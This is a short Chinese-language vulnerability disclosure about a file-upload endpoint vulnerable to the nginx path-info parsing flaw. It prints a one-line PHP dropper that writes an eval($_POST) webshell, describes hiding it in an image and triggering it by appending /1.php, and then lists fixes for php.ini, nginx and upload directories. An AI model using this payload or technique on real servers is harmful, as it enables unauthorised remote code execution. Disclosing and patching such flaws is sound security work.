上传地址:?t=t_upload&Action=PostMsg

以前有人发过这个上传了,但是管理员对漏洞修补木有完成。。虽然禁止了PHP文件,但是使用解析还是能继续拿下。。

已使用解析拿下shell。

大马:<?fputs(fopen("and.php","w"),"<?eval(\$_POST[****]);?>")?>

只要把大马和一张图片合成后,上传,直接在后面加入1.php 自动生成and.php的木马。

修复方案:
1、设置php.ini的cgi.fix_pathinfo为0,重启php。最方便,但修改设置的影响需要自己评估。

2、给nginx的vhost配置添加如下内容,重启nginx。vhost较少的情况下也很方便。

if ( $fastcgi_script_name ~ \..*\/.*php ) {

return 403;

}

3、禁止上传目录解释PHP程序。不需要动webserver,如果vhost和服务器较多,短期内难度急剧上升;建议在vhost和服务器较少的情况下采用